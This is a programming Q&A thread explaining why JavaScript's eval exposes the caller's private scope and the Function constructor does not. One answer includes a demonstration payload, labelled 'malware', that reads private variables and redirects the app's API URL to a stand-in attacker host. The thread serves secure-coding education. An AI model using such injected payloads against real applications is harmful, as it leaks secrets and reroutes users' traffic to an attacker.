Reputation: 1391
I was reading about eval
on MDN and it seems to suggest that a somewhat "better" alternative to eval
is to use a function constructor. MDN seems to highlight that using a function constructor is less of a security risk compared to eval
as:
a third-party code can see the scope in which eval() was invoked, which can lead to possible attacks in ways to which the similar Function is not susceptible.
What exactly does "a third-party code can see the scope in which eval() was invoked" mean and how does it impact the security of my JS apps?
Upvotes: 7
Views: 3024
Reputation: 12637
An example of how using eval to, in this scenrio, parse inputs exposes and compromises all the private scope of your app.
app = (function(){
// my app with all its shiny little secrets
// stored in private variables
var secret = 42;
var apiUrl = "/api/";
return {
withEval(input){
var someObject = eval(input);
console.log("withEval", someObject);
if(apiUrl === "/api/"){
console.log("xhr to", apiUrl);
}else{
console.warn("xhr to", apiUrl);
}
},
withFunction(input){
var someObject = Function("return(" + input+")")();
console.log("withFunction", someObject);
if(apiUrl === "/api/"){
console.log("xhr to", apiUrl);
}else{
console.warn("xhr to", apiUrl);
}
},
}
})();
var malware = `(${
()=>{
try { console.warn("found secret", secret); } catch(err){ console.error(err); }
try { console.warn("found apiUrl", apiUrl); } catch(err){ console.error(err); }
apiUrl = "http://attacker.example.com/";
}})(),{ foo: 13, bar: 42 }`;
console.log(malware);
app.withFunction(malware);
console.log("-----------------");
app.withEval(malware);
With eval
your "secret" is exposed, like ids, tokens, ... and even the "apiUrl" has been changed so all your api-calls now make a roundtrip over the webpage of some attacker.
And your code doesn't even throw an error; I've logged these errors in the console.
Upvotes: 3
Reputation: 5331
From the MDN page:
However, unlike eval, the Function constructor creates functions which execute in the global scope only.
If you wrap all of your code in a closure, secret objects cannot be accessed from the evaluated function body.
(() => {
let secret = 42;
eval("console.log(secret)"); // 42
let fn = new Function("console.log(secret)");
fn(); // secret is not defined
})();
Upvotes: 8